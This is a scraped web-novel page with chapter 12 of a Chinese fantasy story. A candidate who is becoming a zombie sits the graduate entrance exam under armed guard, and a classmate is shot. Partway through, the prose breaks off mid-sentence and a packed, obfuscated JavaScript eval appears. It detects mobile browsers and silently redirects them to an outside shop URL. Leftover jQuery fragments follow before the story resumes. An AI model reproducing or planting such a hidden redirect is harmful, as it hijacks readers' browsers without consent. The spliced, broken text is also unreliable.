文趣网 > 其他小说 > 变成怪物的我考研了 > 12. 考试第一天
    尤且衔再一次检查过景幺一的证件后,把东西交给了她。

    景幺一有些嫌弃装东西的亮粉色透明包,单手拎起来后还是背到了背上。

    尤且衔马上嘴过去:“你这是什么眼神?你知不知道这个包光配货都得十万。”

    他今日倒不是“破烂风”了,穿了一身异形剪裁的西装,连鞋子也是搭配好的,这一看都是最近才买的。

    还真是走到哪儿买到哪儿。

    景幺一今天懒得和他拌嘴,拿过伞后就准备出门。

    外面人不少,进考场校需要排队,尤且衔再次被拦在门外。

    景幺一只觉得有些恍然。

    准备一年,从未懈怠,似乎未来的方向都会在这里和今天产生结果。

    小雨淅淅沥沥,从伞的边缘滑到地面。

    她抬头,从透明的伞面能看到干净的天空。

    景幺一歪了下头,突然发现伞的骨架边缘好像写着什么。

    于是她把伞拿低了些,用手去碰那里的签字笔油墨。

    【喂,晚上吃啥?】

    “这位考生,请出示您的准考证。”

    工作人员的声音将她的思绪唤回。

    她心如鼓。

    工作人员仔细检查了她的蓝色准考证,在对讲机说了几句话后就有人带景幺一走了专门的路线。

    虽然他们有专门的手环,但是“蓝色考生”还是需要去独立的考场,为了安全,这项政策也没有提前告知群众。

    景幺一跟着来到了另外一栋教学楼,这里的环境相对冷清,大眼看就没什么人,教学楼下却有五名持枪警员。

    工作人员小笙向前交代情况,为首的警卫皱眉看着准考证又看了一眼景幺一:“往年蓝色考生有这么多吗?”

    小笙赶忙提醒:“您快安排吧。”

    警卫也意识到自己说的太多了,在屏幕上登记后拉开警戒线让景幺一进去。

    警卫:“上四楼,A3考场。”

    每过一层都要经过两位警员的安检,一直到四楼,走到考场门口还有两位警员。这样一趟下来,不难推测出从二层开始每层只设置了一个考场且有四名警员,这些警员之前都没有见过,很可能和凯里一样是被消防武装队秘密派过来的。

    她直到坐在考场里,才有了马上要考试的真实感。

    这个考场只坐了一半人,教室另外半边的座椅还没有按照要求摆放,看来是临时安排的考场。

    看来报名处和考点的信息也不相通,考点甚至不知道具体的蓝色考生人数。

    这也能对上刚才领头警卫的疑惑。

    监考老师是位中年男性,神色很淡定,对外面的一切似乎已经熟悉,路过景幺一的时候还能闻到他身上的香水味儿,西服笔挺,十分讲究。

    他保持着微笑,随铃声响起分发试卷。

    考试正式开始。

    钟表声每走一步的滴答都是具象化的时间流沙。

    今天一共两场考试,只是这栋楼的考生中午不能离开。

    考到最后,天幕上净是紫色和红色缠绕着的云霞。

    还有五分钟今天的考试就结束了。

    五。

    四。

    三。

    二……

    “砰!”

    一。

    这是枪声。

    这个距离下,巨大的声音足以让这个教室的所有普通人感受到惊吓。

    随后,附近的警卫都往楼下跑去。

    监考老师老游随提示音看了手机后安抚纪律。

    他是教语文的,声线婉转:“二楼处理了一个失控考生,挺可惜的,进考场的时候数值还正常,没想到会这么快全丧尸化。”

    他依旧微笑:“别担心,咱们这层的手环数值是最稳定的,按我的推测,你们还是有痊愈的可能的。”

    这笑容并不好看,话轻飘飘的,谁听都不会高兴的。

    教室里出现了小声抽泣的声音。

    收卷,人流散得飞快。

    那个粉色的包本来就很扎眼,其他考生的东西基本也都被拿走了,所以她的东西应该很好找,但是伞却一直找不到。

    她本想一走了之,却突然想起了尤且衔。

    那伞他早上磨蹭了很久才给她,写那句话应该想了很久。

    他这么麻烦,如果知道她把伞弄丢了会闹吧。

    烦。

    还是去找到吧。

    她想先去附近看看,要是真没有了就只能事后去查监控了。

    走到拐角处却看到有人抱腿坐在地上,在哭。

    女孩穿着长款黑色羽绒服,整个人蜷了起来,哭泣的声音压得很低。刚刚在教室里也差不多是这种声音,在感官上认为很可能是同一个人。

    女孩身后的地上躺着把伞,正是她那把。

    景幺一绕到她身后捡起了伞,之后就继续往前走,过了转角就能下楼了。

    “你一点都不安慰我吗呜呜!”

    身后女孩的声音传来,她随便抹了把眼泪,哭得乱七八糟。

    景幺一顿了一下,说:“我不认识你。”

    女孩“哇”的一声,哭得更惨了。

    景幺一:“……”

    她想走的,但此刻走好像不太像她从前的人设,不过都来这里了,好像也不需要什么人设了。

    “你……”女孩的肩膀剧烈抖动着,“你一点都不害怕吗,凭什么啊,凭什么是我们,凭什么我们要被这样对待!”

    “呜呜呜,我为什么会变成丧尸……

    “我不敢给爸妈说,也不敢出门,不敢工作,我只能考试了。

    “我只有来考试了……”

    景幺一还是走了。

    见到尤且衔的时候,很明显他又换了一身衣服。

    景幺一看了一眼就把包甩给了他,这个包正配他身上的亮色西装。

    这个男人从早上就想好这身搭配了吧?

    尤且衔感觉已经基本不下雨了,自然地接过雨伞收好,两人往外走。

    他边走边说:“今晚吃番茄炒蛋和肉末茄子怎么样?我知道你要放松脑子,餐厅你肯定不想去。”

    景幺一:“都行。”

    两人并排而行,景幺一迫使自己放松下来,揉了揉有些酸的胳膊。

    研究生考试散场很快,学校里基本没什么考生了。

    校门停着两辆警车,站着一排拿枪的警卫,这群警卫旁边站着位穿便服的女性,她手上也拿着枪。他们看着像在谈话。

    景幺一路过时,那位女性刚好转过身,两人只一眼,目光就错开了。

    而警卫和王毓等他们走远了才继续

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838199|211543||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谈话。

    王毓把枪立在地上,身体略微倚靠,另一只手叉腰。

    她的话里也带着疲惫:“明天再有类似情况,数值快满的时候就直接枪决,今天还是太慢了。”

    “长官,完全来得及,他们只是学生应该……”

    她的目光扫过去,发言的警卫收住了话头。

    王毓:“稍有不慎,遭殃的就是整个考场,你想拉整个梅答一起下水吗?”

    警卫不敢再言语。

    尤且衔看景幺一状态不太对,心想要不要打辆车。因为距离很近,他们都是走着来的。

    景幺一脑子很乱。

    她本应该思考明天的试题或者让自己完全放松下来。但为什么,她会这样心慌。

    ——我只有来考试了……

    她停下脚步。

    尤且衔拿着手机没看路一转头没看到人,赶紧退了回去。

    尤且衔:“景幺一你干嘛?”

    景幺一:“不对。”

    尤且衔:“什么不对?你不想吃肉沫茄子?”

    景幺一看向尤且衔:“刚才路上,她口袋露出来的那段带子是监考牌上的带子,她应该就是二层的监考官。”

    尤且衔虽然不清楚发生了什么,但他明白景幺一的想法。

    两人往学校跑,跑到的时候学校已经封禁,不能进人了。

    保安被他们吵得从保安亭里出来:“这个点儿都是只出不进,你们明天按时考试就行。”

    尤且衔见缝插针,看到保安出来就上前抱住人家的胳膊:“求你了师傅,别的东西就算了,她的准考证丢了,明天可考不了试了,您行行好。”

    保安:“哪有这样的,要是人人都像你们这样我还怎么休息!”

    尤且衔一听立马换上了谄媚的笑:“是是是,您辛苦了。”

    他的手顺道放进了保安的口袋里,他动作刚刚好能让保安感觉到他的行动又不会太慢引人怀疑。

    保安的神色有些不自然,咳了一声:“那行吧,最多给你们半小时,时间一到必须出来!”

    尤且衔立刻拉着景幺一跑了进去,声音飘在他身后:“好嘞哥,我保证!”

    景幺一一边往自己考场的方向走一边简单把事情给尤且衔说。

    他们一见到保安就问过校门的通行情况,今天只有这个门能出入,景幺一出来的时间已经很晚了,但保安只知道警车走了,其他情况问就是不能讲。

    尤且衔本意是想安慰她:“他这个年龄了,保安这样子也挺常见。”

    景幺一:“不要拉正常的保安下水。你刚才贿赂他了吧,送了什么?”

    尤且衔:“没送什么,一点现金,小钱。”

    说话的功夫,景幺一找遍了她所在的独立考场都没有再见到那个女孩。

    尤且衔:“她或许已经出去了呢?说到底,别人的命运我们也没办法完全干涉。”

    景幺一按住胸口,她的心跳得很快,从刚才起她的身体就很热,这种感觉不是没有过,只是现在的她也不能判断自己要犯什么病。

    尤且衔看她不太对劲想去扶她,却被景幺一抓住手臂。

    她讲:“不是她的命运。”

    一滴雨水重重落在地面上。

    她的声音也砸了下来。

    “是我们的。”